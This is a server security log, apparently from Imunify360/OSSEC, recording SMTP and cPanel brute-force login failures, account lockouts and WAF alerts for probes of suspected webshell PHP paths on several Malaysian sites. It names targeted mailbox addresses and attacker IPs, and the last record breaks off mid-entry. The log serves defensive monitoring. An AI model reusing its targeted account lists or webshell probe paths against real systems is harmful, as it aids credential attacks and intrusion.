2026-01-30 10:58:12 dovecot_plain authenticator failed for H=(DESKTOP-22EVPBQ) [104.28.162.58]:55414: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.236.130.182
country_id: 1814991
description:
2026-01-30 10:58:45 dovecot_login authenticator failed for H=([183.236.130.182]) [183.236.130.182]:49634: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.31.238.24
country_id: 6252001
description:
[2026-01-30 10:59:56 +0800] info [cpaneld] 144.31.238.24 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 11:00:39 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:57296: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-01-30 11:00:49 dovecot_login authenticator failed for H=([103.120.116.162]) [103.120.116.162]:58263: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 11:01:48 H=(localhost.localdomain) [45.150.192.143]:36194 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/photos/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.5.36.7
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/hamcrest/hamcrest-php/generator/FactoryClass.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 11:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56048: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/eco.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 11:04:55 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (phooded) [87.103.126.54]:18402: 535 Incorrect authentication data (set_id=info@modern.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/news-n-events/img/demos/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.115.144.103
country_id: 3469034
description:
2026-01-30 11:05:16 dovecot_login authenticator failed for H=(191.34.253.17.dynamic.adsl.gvt.net.br) [187.115.144.103]:46610: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.75.42
country_id: 1149361
description:
2026-01-30 11:06:06 dovecot_login authenticator failed for H=([180.94.75.42]) [180.94.75.42]:33596: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 11:07:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:13420: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 11:07:24 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:60330: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/about-us/images/sliders/company.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.242.61.9
country_id: 1814991
description:
2026-01-30 11:08:40 dovecot_login authenticator failed for H=([114.242.61.9]) [114.242.61.9]:51618: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.130.148.217
country_id: 1512440
description:
2026-01-30 11:08:49 dovecot_login authenticator failed for H=([45.130.148.217]) [45.130.148.217]:46386: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.255.50.88
country_id: 2017370
description:
2026-01-30 11:08:50 dovecot_login authenticator failed for H=88-50-255-130.kamensktel.ru [130.255.50.88]:50926: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.48.25.24
country_id: 6252001
description:
[2026-01-30 11:08:23 +0800] info [cpaneld] 86.48.25.24 - unet "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user unet (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.13.47.83
country_id: 1814991
description:
2026-01-30 11:09:27 dovecot_login authenticator failed for H=([218.13.47.83]) [218.13.47.83]:65464: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 11:09:42 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:31514: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-30 11:09:46 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:43242: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 11:09:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:20237: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-01-30 11:09:05 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:50669: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:11:01 dovecot_login authenticator failed for H=(j2kobmV) [185.230.124.69]:57131: 535 Incorrect authentication data (set_id=humanresource@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-01-30 11:11:37 dovecot_login authenticator failed for H=([59.145.86.177]) [125.19.182.118]:53700: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.115.14.2
country_id: 1668284
description:
2026-01-30 11:11:50 dovecot_login authenticator failed for H=(58-115-14-2.twt1.com.tw) [58.115.14.2]:33324: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:11:11 dovecot_login authenticator failed for H=(TtMBnpOAP) [185.230.124.69]:56307: 535 Incorrect authentication data (set_id=humanresource@tujusetia.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/services/images/sliders/osl.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 11:12:48 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:34840: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.151
country_id: 1269750
description:
2026-01-30 11:12:34 dovecot_login authenticator failed for H=(nsg-corporate-151.229.187.122.airtel.in) [122.187.229.151]:58494: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.75.181.87
country_id: 2017370
description:
2026-01-30 11:12:34 dovecot_login authenticator failed for H=(181.87.roitl.ru) [185.75.181.87]:50752: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.113
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/cofrethcommy/images/facilities.php||SC:/home2/cofrethcom/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 11:13:13 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:58609: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.59.4.36
country_id: 1269750
description:
2026-01-30 11:13:26 dovecot_login authenticator failed for H=(cityzone-36-4-59-103.cityzoneinfo.com) [103.59.4.36]:49034: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 11:13:52 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:40858: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 11:13:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:52889: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 11:14:42 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:38614: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 11:14:09 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:39078: 535 Incorrect authentication data (set_id=hr@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-30 11:14:26 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:36279: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.188.184.13
country_id: 1814991
description:
2026-01-30 11:14:45 dovecot_login authenticator failed for H=([27.188.184.13]) [27.188.184.13]:47600: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-01-30 11:15:01 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:47962: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.75.110
country_id: 1149361
description:
2026-01-30 11:14:35 dovecot_login authenticator failed for H=([180.94.75.110]) [180.94.75.110]:56836: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 11:15:25 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess3739774369/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-01-30 11:16:46 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:38823: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.109.81.90
country_id: 2017370
description:
2026-01-30 11:16:20 dovecot_login authenticator failed for H=([176.109.81.90]) [176.109.81.90]:31174: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 11:16:15 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:34753: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 11:16:37 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:35670: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-30 11:17:07 H=([127.0.0.1]) [103.197.57.71]:57474 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.171.42
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=571193 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.127.181.98
country_id: 390903
description:
2026-01-30 11:18:55 dovecot_login authenticator failed for H=(ADMIN) [79.127.181.98]:34030: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.255.190.69
country_id: 2017370
description:
2026-01-30 11:18:09 dovecot_login authenticator failed for H=(92x255x190x69.static-business.omsk.ertelecom.ru) [92.255.190.69]:46800: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-30 11:18:20 H=([127.0.0.1]) [103.197.57.71]:44394 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.166.226.235
country_id: 1643084
description:
2026-01-30 11:18:30 dovecot_login authenticator failed for H=([103.166.226.235]) [103.166.226.235]:42372: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.124.60.46
country_id: 1168579
description:
2026-01-30 11:18:52 dovecot_login authenticator failed for H=([203.124.60.46]) [203.124.60.46]:41204: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-30 11:19:56 H=([127.0.0.1]) [103.197.57.71]:32980 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.51.66
country_id: 1522867
description:
2026-01-30 11:20:27 dovecot_login authenticator failed for H=2.133.51.66.dynamic.telecom.kz [2.133.51.66]:43427: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-01-30 11:20:46 dovecot_login authenticator failed for H=([1.227.228.131]) [1.227.228.131]:58898: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 11:23:58 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:43032: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 11:23:34 H=(localhost.localdomain) [45.150.192.143]:58096 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-01-30 11:24:04 dovecot_login authenticator failed for H=(dsl-ncr-static-137.78.16.125.airtelbroadband.in) [182.95.123.202]:54664: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.218
country_id: 337996
description:
2026-01-30 11:24:12 dovecot_login authenticator failed for H=([196.189.124.218]) [196.189.124.218]:46090: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.154.217.188
country_id: 690791
description:
2026-01-30 11:25:42 dovecot_login authenticator failed for H=ip-d9bc.d-net.kiev.ua [94.154.217.188]:58262: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-30 11:26:54 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:58997: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 11:26:10 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-30 11:26:26 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:58574: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 11:27:26 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:50010: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:27:32 dovecot_login authenticator failed for H=(x0qATcaq) [185.230.124.69]:58950: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.15.149.254
country_id: 3469034
description:
2026-01-30 11:27:39 dovecot_login authenticator failed for H=(201-15-149-254.pltce300.ipd.brasiltelecom.net.br) [201.15.149.254]:56537: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.38.221.138
country_id: 1814991
description:
2026-01-30 11:27:51 dovecot_login authenticator failed for H=([111.38.221.138]) [111.38.221.138]:53420: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 11:27:14 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:50488: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.253.118.147
country_id: 2328926
description:
2026-01-30 11:28:07 dovecot_login authenticator failed for H=([168.253.118.147]) [168.253.118.147]:50636: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:28:23 dovecot_login authenticator failed for H=(ubufR0) [185.230.124.69]:62182: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-30 11:28:48 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:52096: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 11:29:01 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:59398: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:29:07 dovecot_login authenticator failed for H=(Xy0Q1RtP) [185.230.124.69]:54394: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.38.112.81
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:30:17 dovecot_login authenticator failed for H=(mkQfTgYV) [185.230.124.69]:64893: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 44.251.154.5
country_id: 6252001
domain: geminiflourmill.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/blog/mon/particulier/loginform3ad6.php||SC:/home2/cabecom/public_html/img/blog||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:31:00 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@dsc-expat.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:31:23 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@dsc-expat.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:31:02 dovecot_login authenticator failed for H=(pa4yXjLMh) [185.230.124.69]:51584: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:32:26 dovecot_login authenticator failed for H=(QeQ9WEV5Ai) [185.230.124.69]:50001: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 11:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56223: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:32:05 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@dsc-expat.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:32:07 dovecot_login authenticator failed for H=(V1XbidVcbl) [185.230.124.69]:57121: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 11:33:35 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 11:33:37 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:59014: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 11:33:55 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:36556: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:33:10 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@dsc-expat.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.227
country_id: 1819730
description:
2026-01-30 11:33:10 dovecot_login authenticator failed for H=227.42.246.220.static.netvigator.com [220.246.42.227]:65085: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:33:12 dovecot_login authenticator failed for H=(NA3lO0z) [185.230.124.69]:60295: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 11:33:29 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:33845: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 11:33:53 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:55254: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:34:19 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@dsc-expat.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
